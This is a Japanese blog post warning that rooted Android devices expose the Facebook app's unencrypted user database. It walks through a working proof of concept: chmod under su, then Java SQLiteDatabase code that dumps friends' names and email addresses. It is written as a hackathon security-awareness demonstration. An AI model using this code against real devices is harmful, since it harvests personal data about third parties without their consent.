Rootとってる人、取ろうと思ってる人はちょっと気にしてほしいこと。
はじめに
結論から言うと、Root化端末を知識のない人間が使うとものすごい危険
です。
なぜなら、たとえばFacebookのアプリはユーザー情報やフレンドの情報を
暗号化を行わないで保存しているから。
これの何が危険かというとROOTを取った端末の場合だと、とくに
制限もなくFacebookアプリのデータベースにアクセスされる可能性が
あるのです。
普通に使っている分には別にいいけど、そうじゃないことしてる人は
気を付けた方が良いよねっ!って話。
実践
では、具体例として友人一覧の情報を取得する方法をコードを交えて。
今回のターゲットは
/data/data/com.facebook.katana/databases/users_db2
この中に友人の名前やメールアドレス、電話番号などが入っていました。
Step.1:ファイルのパーミションを変更する
Androidのアプリは基本的に、自分のアプリのDBに対しては自分からしかアクセスできないようにできます。
FBアプリも例には漏れず。しかし、結局はLinuxのファイルパーミションを利用して
管理をしているので、su権限でchmodを実行すればなんの問題もないです。
これがRoot化端末の怖いところ。普通はアクセスできないファイルにアクセス
できる可能性がある。
Step.2 SQLiteDatabaseあたりを利用してDBにアクセスする。
ファイルのフルパスを指定してあげれば、簡単にアクセスできます。
あとは煮るなり焼くなりご自由に状態。
ちなみに、コードはこんな感じ。
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@Override | |
protected void onCreate(Bundle savedInstanceState) { | |
super.onCreate(savedInstanceState); | |
setContentView(R.layout.activity_sudo); | |
SQLiteDatabase userDB = SQLiteDatabase.openOrCreateDatabase( | |
"/data/data/com.facebook.katana/databases/users_db2", null); | |
Cursor cursor = userDB.query(Scheme.TABLE, Scheme.COLUMNSS, null, null, | |
null, null, null, null); | |
cursor.moveToFirst(); | |
StringBuilder output = new StringBuilder(); | |
while (cursor.moveToNext()) { | |
output.append(cursor.getString(0)).append(":") | |
.append(cursor.getString(1)).append("\n"); | |
} | |
((TextView) findViewById(R.id.main_text)).setText(output); | |
} | |
private static class Scheme { | |
private Scheme() { | |
} | |
private static final String TABLE = "facebook_users"; | |
private static final String[] COLUMNSS = { "name", "email_addresses" }; | |
} |
実行結果
![]() |
こんなに丸見え! |
まとめ
ROOT化端末の場合、ユーザが意図しないタイミングで見られたくないデータを
見られる可能性があるから、気を付けよう。
ROOT化するよー!って人
危険性を本当に理解してください。困るのはあなただけでなく、あなたの
友達かもしれません。
開発者の方
ROOT化端末によって、予期せぬデータ流出が起こることを知っておいてください。
確かにROOT化端末はサポート対象外ですが、そのおかげで不幸になるのは、あなた
個人や会社です。
最後に
ちなみに、このネタは先日開催された「Androidセキュリティハッカソン」でやってきた
ネタです。
もっと早くに思いつけば、アドベントカレンダーのネタになったのに・・・
0 件のコメント:
コメントを投稿